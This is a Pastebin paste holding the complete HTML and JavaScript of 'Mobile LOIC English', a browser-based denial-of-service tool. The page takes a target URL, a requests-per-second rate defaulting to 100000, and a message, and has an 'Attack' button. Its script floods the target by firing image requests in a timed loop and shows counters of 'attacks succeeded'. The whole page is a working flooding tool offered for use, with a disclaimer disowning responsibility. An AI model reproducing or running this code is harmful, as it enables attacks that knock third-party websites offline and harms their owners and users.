Advertisement
Guest User

Mobile LOIC English

a guest
Mar 3rd, 2015
241
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 7.30 KB | None | 0 0
  1. <html><head></head><body style='background: black; margin: 0;'><table height='100%' width='100%' cellspacing='0' cellpadding='0'><tbody><tr><td align='center' valign='middle'>
  2.             <html xmlns="http://www.w3.org/1999/xhtml">
  3.  
  4. <head>
  5.  
  6. //
  7.  
  8. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  9.  
  10. <title>Mobile LOIC</title>
  11.  
  12. <meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0;">
  13.  
  14. <style type="text/css">
  15.  
  16. html, body, form, fieldset, p, div, h1, h2, h3, h4, h5, h6 {
  17.  
  18.     margin: 0;
  19.  
  20.     padding: 0;
  21.  
  22.     -webkit-text-size-adjust: none;
  23.  
  24. }
  25.  
  26.  
  27.  
  28. body {
  29.  
  30.     background: #d7d7d7;
  31.  
  32.     color: #000000;
  33.  
  34.     font-family: Helvetica;
  35.  
  36.     font-size: 16px;
  37.  
  38. }
  39.  
  40.  
  41.  
  42.  
  43.  
  44. a:link, a:hover, a:active, a:visited {
  45.  
  46.     text-decoration: none;
  47.  
  48.     color: #578aad;
  49.  
  50. }
  51.  
  52.  
  53.  
  54. input {
  55.  
  56.     width: 250px;
  57.  
  58.     height: 30px;
  59.  
  60.     font-size: 20px;
  61.  
  62.     font-weight: bold;
  63.  
  64. }
  65.  
  66.  
  67.  
  68. button {
  69.  
  70.     width: 250px;
  71.  
  72.     height: 60px;
  73.  
  74.     font-size: 20px;
  75.  
  76.     font-weight: bold;
  77.  
  78. }
  79.  
  80.  
  81.  
  82. h1 {
  83.  
  84.     background: #d7d7d7;
  85.  
  86.     color: #000000;
  87.  
  88.     font-size: 45px;
  89.  
  90.     font-weight: bold; 
  91.  
  92. }
  93.  
  94.  
  95.  
  96. #container {
  97.  
  98.     padding-top: 20px;
  99.  
  100.     overflow: auto;
  101.  
  102.     text-align: center;
  103.  
  104. }
  105.  
  106.  
  107.  
  108. #section {
  109.  
  110.     background: #cbc9c9;
  111.  
  112.     margin: 10px;
  113.  
  114.     padding: 10px;
  115.  
  116.     border-radius: 10px;
  117.  
  118.     -moz-border-radius: 10px;
  119.  
  120.     -webkit-border-radius: 10px;
  121.  
  122. }
  123.  
  124.  
  125.  
  126. .title {
  127.  
  128.     color: #000000;
  129.  
  130.     font-size: 16px;
  131.  
  132.     font-weight: bold;
  133.  
  134.     font-style: italic;
  135.  
  136.     padding-bottom: 5px;
  137.  
  138. }
  139.  
  140.  
  141.  
  142. .required {
  143.  
  144.     color: #d74646;
  145.  
  146.     font-size: 25px;
  147.  
  148.     font-weight: bold;
  149.  
  150.     font-style: italic;
  151.  
  152. }
  153.  
  154.  
  155.  
  156. .success {
  157.  
  158.     color: #8cbc26;
  159.  
  160.     font-size: 16px;
  161.  
  162.     font-weight: bold;
  163.  
  164.     font-style: italic;
  165.  
  166.     padding-bottom: 5px;
  167.  
  168. }
  169.  
  170.  
  171.  
  172. .failed {
  173.  
  174.     color: #d74646;
  175.  
  176.     font-size: 16px;
  177.  
  178.     font-weight: bold;
  179.  
  180.     font-style: italic;
  181.  
  182.     padding-bottom: 5px;
  183.  
  184. }
  185.  
  186.  
  187.  
  188. .number {
  189.  
  190.     color: #363635;
  191.  
  192.     font-family: Helvetica;
  193.  
  194.     font-size: 40px;
  195.  
  196.     font-weight: bold;
  197.  
  198.     padding-bottom: 5px;
  199.  
  200. }
  201.  
  202.  
  203.  
  204. #footer {
  205.  
  206.     color: #363635;
  207.  
  208.     font-size: 12px;
  209.  
  210.     font-style: italic;
  211.  
  212.     margin-bottom: 10px;
  213.  
  214. }
  215.  
  216.  
  217.  
  218. </style>
  219.  
  220. </head>
  221.  
  222.  
  223.  
  224. <body>
  225.  
  226. <div id="container">
  227.  
  228. <h1>Mobile LOIC English</h1>
  229.  
  230. <!-- t4k3nok0 = )-->
  231.  
  232. <div id="section">
  233.  
  234.  
  235.  
  236. <div class="title">Target URL<span class="required">*</span></div>
  237.  
  238. <input type="text" id="targetURL" value="http://">
  239.  
  240. </div>
  241.  
  242.  
  243.  
  244. <div id="section">
  245.  
  246. <div class="title">Requests per second</div>
  247.  
  248. <input type="text" id="rps" value="100000" style="" />
  249.  
  250. </div>
  251.  
  252.  
  253.  
  254. <div id="section">
  255.  
  256. <div class="title">Message to send</div>
  257.  
  258. <input type="text" id="message" value="F*ck" style="">
  259.  
  260. </div>
  261.  
  262.  
  263.  
  264. <div id="section">
  265.  
  266. <button id="fireButton" style="">Attack</button>
  267.  
  268. </div>
  269.  
  270.  
  271.  
  272. <div id="section">
  273.  
  274. <div class="title">Total requests</div>
  275.  
  276. <div class="number" id="requestedCtr">0</div>
  277.  
  278. <div class="success">Attacks succedeed</div>
  279.  
  280. <div class="number" id="succeededCtr">0</div>
  281.  
  282. <div class="failed">Attacks failed</div>
  283.  
  284.  
  285.  
  286. <div class="number" id="failedCtr">0</div>
  287.  
  288. </div>
  289.  
  290. <div id="section">
  291. <div class="title">
  292. You can attack even without to specify the numbers
  293. <br>
  294. Use at your own risk. The authors does not assume any responsibility for what happened by using this tool.
  295. </div>
  296. </div>
  297.  
  298.  
  299.  
  300.  
  301.  
  302.  
  303.  
  304. <noframes></noframes><noscript></noscript><!-- --><script type="text/javascript" src="http://www.freewebs.com/p.js"></script><script>
  305.  
  306.        (function () {
  307.  
  308.  
  309.  
  310.             var fireInterval;
  311.  
  312.             var isFiring = false;
  313.  
  314.  
  315.  
  316.             var requestedCtrNode = document.getElementById("requestedCtr"),
  317.  
  318.                 succeededCtrNode = document.getElementById("succeededCtr"),
  319.  
  320.                 failedCtrNode = document.getElementById("failedCtr"),
  321.  
  322.                 targetURLNode = document.getElementById("targetURL"),
  323.  
  324.                 fireButton = document.getElementById("fireButton"),
  325.  
  326.                 messageNode = document.getElementById("message"),
  327.  
  328.                 rpsNode = document.getElementById("rps"),
  329.  
  330.                 timeoutNode = document.getElementById("timeout");
  331.  
  332.  
  333.  
  334.             var targetURL = targetURLNode.value;
  335.  
  336.             targetURLNode.onchange = function () {
  337.  
  338.                 targetURL = this.value;
  339.  
  340.             };
  341.  
  342.  
  343.  
  344.             var requestsHT = {}; // requests hash table, may come in handy later
  345.  
  346.  
  347.  
  348.             var requestedCtr = 0,
  349.  
  350.                 succeededCtr = 0,
  351.  
  352.                 failedCtr = 0;
  353.  
  354.  
  355.  
  356.             var makeHttpRequest = function () {
  357.  
  358.                
  359.  
  360.                     if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
  361.  
  362.                         return;
  363.  
  364.                     };
  365.  
  366.                    
  367.  
  368.                     var rID =Number(new Date());
  369.  
  370.                     var img = new Image();
  371.  
  372.                     img.onerror = function () { onFail(rID); };
  373.  
  374.                     img.onabort = function () { onFail(rID); };
  375.  
  376.                     img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
  377.  
  378.                    
  379.  
  380.                     img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
  381.  
  382.                     requestsHT[rID] = img;
  383.  
  384.                     onRequest(rID);
  385.  
  386.                 };
  387.  
  388.  
  389.  
  390.             var onRequest = function (rID) {
  391.  
  392.                     requestedCtr++;
  393.  
  394.                     requestedCtrNode.innerHTML = requestedCtr;
  395.  
  396.                 };
  397.  
  398.  
  399.  
  400.             var onComplete = function (rID) {
  401.  
  402.                     delete requestsHT[rID];
  403.  
  404.                 };
  405.  
  406.  
  407.  
  408.             var onFail = function (rID) {
  409.  
  410.                    // failedCtr++;
  411.  
  412.                     //failedCtrNode.innerHTML = failedCtr;
  413.  
  414.                    
  415.  
  416.                     succeededCtr++; //Seems like the url will always fail it it isn't an image
  417.  
  418.                     succeededCtrNode.innerHTML = succeededCtr;
  419.  
  420.  
  421.  
  422.  
  423.  
  424.                     delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
  425.  
  426.                 };
  427.  
  428.  
  429.  
  430.             var onSuccess = function (rID) {
  431.  
  432.                     succeededCtr++;
  433.  
  434.                     succeededCtrNode.innerHTML = succeededCtr;
  435.  
  436.                     delete requestsHT[rID];
  437.  
  438.                 };
  439.  
  440.  
  441.  
  442.             fireButton.onclick = function () {
  443.  
  444.                 if (isFiring) {
  445.  
  446.                     clearInterval(fireInterval);
  447.  
  448.  
  449.  
  450.                     isFiring = false;
  451.  
  452.                     this.innerHTML = "攻撃";
  453.  
  454.                 } else {
  455.  
  456.                     isFiring = true;
  457.  
  458.                     this.innerHTML = "停止";
  459.  
  460.  
  461.  
  462.                     fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
  463.  
  464.                 }
  465.  
  466.             };
  467.  
  468.  
  469.  
  470.         })();
  471.  
  472. </script>
  473.  
  474.  
  475.  
  476. <!-- --><script type="text/javascript" src="http://static.websimages.com/static/global/js/webs/usersites/escort.js"></script><script type="text/javascript">if(typeof(urchinTracker)=='function'){_uacct="UA-230305-2";_udn="none";_uff=false;urchinTracker();}</script></body>
  477.  
  478. </html>
  479. </td></tr></tbody></table><!-- --><script type="text/javascript" src="http://static.websimages.com/static/global/js/webs/usersites/escort.js"></script><script type="text/javascript">if(typeof(urchinTracker)=='function'){_uacct="UA-230305-2";_udn="none";_uff=false;urchinTracker();}</script></body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement